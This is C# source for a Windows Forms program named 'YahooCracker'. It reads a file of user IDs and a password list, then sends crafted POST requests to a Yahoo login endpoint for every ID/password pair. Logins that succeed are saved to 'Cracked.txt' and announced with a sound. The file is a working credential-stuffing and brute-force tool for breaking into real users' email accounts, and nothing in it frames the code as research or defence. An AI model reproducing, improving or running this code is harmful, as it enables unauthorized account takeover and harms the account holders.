yahoo

using System;
using System.Collections.Generic;
using System.Collections.Concurrent;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.Net;
using System.Net.Sockets;
using System.Net.Security;
using System.IO;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Resources;
using System.Media;
using System.Diagnostics;
using System.Reflection;

namespace YahooCracker
{
    public partial class Form1 : Form
    {
        public string idFileName;
        public string pwFileName;
        public Thread l;
        public Thread t;
        public Thread crackerThread;
        public bool Loading = false;
        public List<string> Id = new List<string>();
        public long totalId;
        public bool isCracking = false;
        public string Server;
        public static int currId;
        public static int currPw;

        public Form1()
        {
            InitializeComponent();
        }

        public void SaveCracked()
        {
            if (lstCrack.Items.Count == 0) { return; }
            StreamWriter sr = new StreamWriter(Application.StartupPath + "\\Cracked.txt", false);
            bool first = true;
            foreach (string item in lstCrack.Items)
            {
                if (first)
                {
                    sr.Write(item);
                    first = false;
                }
                else if (!first)
                {
                    sr.Write(Environment.NewLine + item);
                }
            }
            sr.Close();
        }

        public static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
        {
            if (sslPolicyErrors == SslPolicyErrors.None)
                return true;

            MessageBox.Show(sslPolicyErrors.ToString());

            // Do not allow this client to communicate with unauthenticated servers.
            return false;
        }

        static string ReadMessage(SslStream sslStream)
        {
            // Read the  message sent by the server.
            // The end of the message is signaled using the
            // "<EOF>" marker.
            byte[] buffer = new byte[2048];
            StringBuilder messageData = new StringBuilder();
            int bytes = -1;
            do
            {
                sslStream.ReadTimeout = 7000;
                try
                {
                    bytes = sslStream.Read(buffer, 0, buffer.Length);

                    // Use Decoder class to convert from bytes to UTF8
                    // in case a character spans two buffers.
                    Decoder decoder = Encoding.UTF8.GetDecoder();
                    char[] chars = new char[decoder.GetCharCount(buffer, 0, bytes)];
                    decoder.GetChars(buffer, 0, bytes, chars, 0);
                    messageData.Append(chars);
                    // Check for EOF.
                    if (messageData.ToString().IndexOf("<EOF>") != -1)
                    {
                        break;
                    }
                }
                catch (IOException) { }
            } while (bytes != 0);

            return messageData.ToString();
        }

        public void WriteToLabel(Label Lb, string sText)
        {
            if (Lb.InvokeRequired)
                Lb.Invoke((MethodInvoker)delegate()
                {
                    WriteToLabel(Lb, sText);
                });
            else Lb.Text = sText;
        }

        public void UpdateCmd(Button button, bool enabled)
        {
            if (button.InvokeRequired)
                button.Invoke((MethodInvoker)delegate()
                {
                    UpdateCmd(button, enabled);
                });
            else button.Enabled = enabled;
        }

        public void UpdateProgBar(ProgressBar prog, long value)
        {
            if (prog.InvokeRequired)
                prog.Invoke((MethodInvoker)delegate()
                {
                    UpdateProgBar(prog, value);
                });
            else prog.Value = Convert.ToInt32(value);
        }

        public void RemoveListItem(ListBox lst)
        {
            if (lst.InvokeRequired)
                lst.Invoke((MethodInvoker)delegate()
                {
                    RemoveListItem(lst);
                });
            else if (lst.Items.Count > 0) { lst.Items.RemoveAt(0); }
        }

        public void SelectListItem(ListBox lst, int index)
        {
            if (lst.InvokeRequired)
                lst.Invoke((MethodInvoker)delegate()
                {
                    SelectListItem(lst, index);
                });
            else lst.SetSelected(index, true);
        }

        public void WriteToText(TextBox TB, string sText)
        {
            try
            {
                if (TB.InvokeRequired)
                    TB.Invoke((MethodInvoker)delegate()
                    {
                        WriteToText(TB, sText);
                    });
                else TB.Text = sText;
            }
            catch (Exception ee)
            {
                string shit = ee.Message;
            }
        }

        private void addToList(ListBox LB, string sText)
        {
            if (LB.InvokeRequired)
                LB.Invoke((MethodInvoker)delegate()
                {
                    addToList(LB, sText);
                });
            else LB.Items.Add(sText);
        }

        private void clearListBox(ListBox LB)
        {
            if (LB.InvokeRequired)
                LB.Invoke((MethodInvoker)delegate()
                {
                    clearListBox(LB);
                });
            else LB.Items.Clear();
        }

        public void PlaySound(string wavFile)
        {
            Assembly assem;
            SoundPlayer sPlayer;
            assem = Assembly.GetExecutingAssembly();
            sPlayer = new SoundPlayer(assem.GetManifestResourceStream("YahooCracker." + wavFile));
            sPlayer.Play();
        }

        private void LoadListBox()
        {
            Loading = true;
            if (lstPass.Items.Count > 0) { clearListBox(lstPass); }

            string[] lines = File.ReadAllLines(pwFileName);
            foreach (string line in lines)
            {
                if (line != null)
                {
                    if (checkDupe.Checked)
                    {
                        if (!lstPass.Items.Contains(line))
                        {
                            addToList(lstPass, line);
                            WriteToLabel(lblStatus, "Status: Loading " + lstPass.Items.Count + " Pws ...");
                        }
                    }
                    else
                    {
                        addToList(lstPass, line);
                        WriteToLabel(lblStatus, "Status: Loading " + lstPass.Items.Count + " Pws ...");
                    }
                }
            }
            Loading = false;
            WriteToLabel(lblStatus, "Status: Successfully Loaded " + lstPass.Items.Count + " Pws.");
        }

        private void LoadList()
        {
            Loading = true;
            if (Id.Count > 0) { Id.Clear(); }

            string[] lines = File.ReadAllLines(idFileName);
            totalId = 0;

            foreach (string line in lines)
            {
                if (line != null)
                {
                    if (checkDupe.Checked)
                    {
                        if (!Id.Contains<string>(line.ToLower()))
                        {
                            Id.Add(line.ToLower());
                            WriteToLabel(lblStatus, "Status: Loading " + Id.Count + " Ids ...");
                        }
                    }
                    else
                    {
                        Id.Add(line.ToLower());
                        WriteToLabel(lblStatus, "Status: Loading " + Id.Count + " Ids ...");
                    }
                }
            }
            Loading = false;
            totalId = Id.Count;
            WriteToLabel(lblStatus, "Status: Successfully Loaded " + Id.Count + " Ids.");
            WriteToLabel(lblTotalId, totalId.ToString());
        }

        private void YahooLogin()
        {
            while (isCracking)
            {
                TcpClient sslSocket = new TcpClient(Server, 443);
                SslStream sStream = new SslStream(sslSocket.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);

                string UserId = (txtBefore.Text + Id[currId] + txtAfter.Text).Replace(" ", "+");
                string PassWord = lstPass.Items[currPw].ToString();

                try
                {
                    sStream.AuthenticateAsClient(Server);
                }
                catch (AuthenticationException Ae)
                {
                    WriteToText(txtData, Ae.Message);
                    if (Ae.InnerException != null)
                    {
                        WriteToText(txtData, Ae.InnerException.ToString());
                    }
                    WriteToLabel(lblStatus, "Status: SSL Auth Failed - Closing Connection.");
                    sslSocket.Close();
                }
                catch (Exception shit) { WriteToText(txtData, shit.Message); }

                string timeStamp = Math.Round((DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0)).TotalMilliseconds).ToString();

                string Post = "username=" + UserId + "&passwd=" + PassWord + "&signin=&_ts=" + timeStamp + "&_tpa=&_muh=&_crumb=YVFrSr1NN5p&_uuid=atQzavZpWNkY&_seqid=2";

                string Pck = "POST https://jsapi.login.yahoo.com/t HTTP/1.1\n" +
                "Host: mail.yahoo-inc.com\n" +
                "Connection: keep-alive\n" +
                "Content-Length: " + Post.Length + "\n" +
                "Origin: https://mail.yahoo-inc.com\n" +
                "X-Requested-With: XMLHttpRequest\n" +
                "X-PJAX: true\n" +
                "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\n" +
                "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n" +
                "Accept: */*\n" +
                "Referer: https://jsapi.login.yahoo.com/t\n" +
                "Accept-Language: en-US,en;q=0.8\n" +
                "Cookie: BX=br2245laad8v0&b=3&s=78; ywandp=10001756605956%3A1631432904; fpc=10001756605956%3AZaKqaTzx%7C%7C\n\n" + Post + "\n\n<EOF>";

                try
                {
                    byte[] message = Encoding.UTF8.GetBytes(Pck);
                    sStream.Write(message);
                    sStream.Flush();
                    string serverMessage = ReadMessage(sStream);

                    if (checkReturnData.Checked) { WriteToText(txtData, serverMessage); }
                    WriteToLabel(lblCurrId, UserId);
                    WriteToLabel(lblCurrPw, PassWord);
                    if (currId <= totalId) { UpdateProgBar(Prog, currId); }
                    WriteToLabel(lblIdLeft, (totalId-(currId + 1)).ToString());

                    sslSocket.Close();
                    if (serverMessage.Contains("204 No Response"))
                    {
                        if (serverMessage.Contains("Y=v=1"))
                        {
                            addToList(lstCrack, UserId + " - " + PassWord);
                            SaveCracked();
                            PlaySound("Data_8.wav");

                        }
                    }
                    else if (serverMessage.Contains("200 OK") || serverMessage.Contains("forgot?stage=fe100"))
                    {

                    }
                    else
                    {

                    }
                }
                catch (Exception ex)
                {
                    WriteToText(txtData, ex.Message);
                }

                currId++;

                if (currId >= totalId)
                {
                    currPw++;
                    if (currPw >= lstPass.Items.Count)
                    {
                        isCracking = false;
                        UpdateProgBar(Prog, 0);
                        UpdateCmd(cmdStart, true);
                        UpdateCmd(cmdStop, false);
                        WriteToLabel(lblStatus, "Status: Cracking Finished.");
                        WriteToLabel(lblCurrId, "-");
                        WriteToLabel(lblCurrPw, "-");
                        WriteToLabel(lblIdLeft, "0");
                        Thread.CurrentThread.Join();
                        break;
                    }
                    else
                    {
                        currId = 0;
                        UpdateProgBar(Prog, 0);
                        WriteToLabel(lblIdLeft, totalId.ToString());
                        SelectListItem(lstPass, currPw);
                    }
                }

            }
                WriteToLabel(lblStatus, "Status: Cracking Finished.");
                WriteToLabel(lblCurrId, "-");
                WriteToLabel(lblCurrPw, "-");
                WriteToLabel(lblIdLeft, "0");
                UpdateProgBar(Prog, 0);
                UpdateCmd(cmdStart, true);
                UpdateCmd(cmdStop, false);
                Thread.CurrentThread.Abort();

        }

        private void cmdSaveCrack_Click(object sender, EventArgs e)
        {
            if (lstCrack.Items.Count == 0) { lblStatus.Text = "Status: Nothing To Save."; return; }
            var saveFile = new SaveFileDialog();
            saveFile.Filter = "Text (*.txt)|*.txt";
            if (saveFile.ShowDialog() == DialogResult.OK)
            {
                bool first = true;
                using (var sw = new StreamWriter(saveFile.FileName, false))
                    foreach (var item in lstCrack.Items)
                    {
                        if (first)
                        {
                            sw.Write(item.ToString());
                            first = false;
                        }
                        else if (!first)
                        {
                            sw.Write(Environment.NewLine + item.ToString());
                        }
                    }
            }
        }

        private void cmdLoadId_Click(object sender, EventArgs e)
        {
            if (Loading) { return; }

            DialogResult idResult = oFD.ShowDialog();
            if (idResult == DialogResult.OK)
            {
                idFileName = oFD.FileName;
                txtIdPath.Text = idFileName;
                l = new Thread(new ThreadStart(LoadList));
                l.Start();
            }
            else { lblStatus.Text = "Status: Load an Id file."; }

        }

        private void cmdLoadPass_Click(object sender, EventArgs e)
        {
            if (Loading) { return; }

            DialogResult pwResult = oFD.ShowDialog();
            if (pwResult == DialogResult.OK)
            {
                pwFileName = oFD.FileName;
                t = new Thread(new ThreadStart(LoadListBox));
                t.Start();
            }
            else { lblStatus.Text = "Status: Load a Pw file."; }
        }

        private void cmdStart_Click(object sender, EventArgs e)
        {
            if (Id.Count == 0) { lblStatus.Text = "Status: Load an Id file."; return; }
            if (lstPass.Items.Count == 0) { lblStatus.Text = "Status: Load a Pw file."; return; }
            if (txtServer.Text == "") { lblStatus.Text = "Status: Enter a server."; return; }

            totalId = Id.Count;
            currId = 0;
            currPw = 0;
            Prog.Minimum = 0;
            Prog.Maximum = Convert.ToInt32(totalId);
            Prog.Value = 0;
            lblTotalId.Text = totalId.ToString();
            lblIdLeft.Text = totalId.ToString();
            Server = txtServer.Text;
            lstPass.SetSelected(0, true);
            lblStatus.Text = "Status: Cracking in progress ...";
            isCracking = true;
            cmdStart.Enabled = false;
            cmdStop.Enabled = true;

            crackerThread = new Thread(new ThreadStart(YahooLogin));
            crackerThread.Start();
        }

        private void cmdStop_Click(object sender, EventArgs e)
        {
            isCracking = false;
            cmdStop.Enabled = false;
            cmdStart.Enabled = true;
        }

        private void cmdAddPass_Click(object sender, EventArgs e)
        {
            if (txtAddPw.Text != "")
            {
                if (checkDupe.Checked)
                {
                    if (!lstPass.Items.Contains(txtAddPw.Text)) { lstPass.Items.Add(txtAddPw.Text); } else { lblStatus.Text = "Status: Pw already in list."; return; }
                }
                else { lstPass.Items.Add(txtAddPw.Text); }
                txtAddPw.Text = "";
            }
            else { lblStatus.Text = "Status: Input a Pw to enter."; }
        }

        private void cmdClearPass_Click(object sender, EventArgs e)
        {
            lstPass.Items.Clear();
            lblStatus.Text = "Status: User Ids cleared.";
        }

        private void cmdRemovePass_Click(object sender, EventArgs e)
        {
            if (lstPass.SelectedItem != null)
            {
                lstPass.Items.Remove(lstPass.SelectedItem);
            }
            else { lblStatus.Text = "Status: Select a Pw to remove."; }
        }

        private void txtAddPw_TextChanged(object sender, EventArgs e)
        {

        }

        private void txtAddPw_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter) { cmdAddPass.PerformClick(); }
        }

        private void cmdClearCrack_Click(object sender, EventArgs e)
        {
            lstCrack.Items.Clear();
            lblStatus.Text = "Status: Cracked Ids cleared.";
        }

        private void cmdCopyCrack_Click(object sender, EventArgs e)
        {
            if (lstCrack.SelectedItem != null)
            {
                Clipboard.SetText(lstCrack.SelectedItem.ToString());
            }
            else { return; }
        }

        private void checkReturnData_CheckedChanged(object sender, EventArgs e)
        {
            if (checkReturnData.Checked)
            {
                this.Width = 841;
            }
            else { this.Width = 541; }
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }
    }
}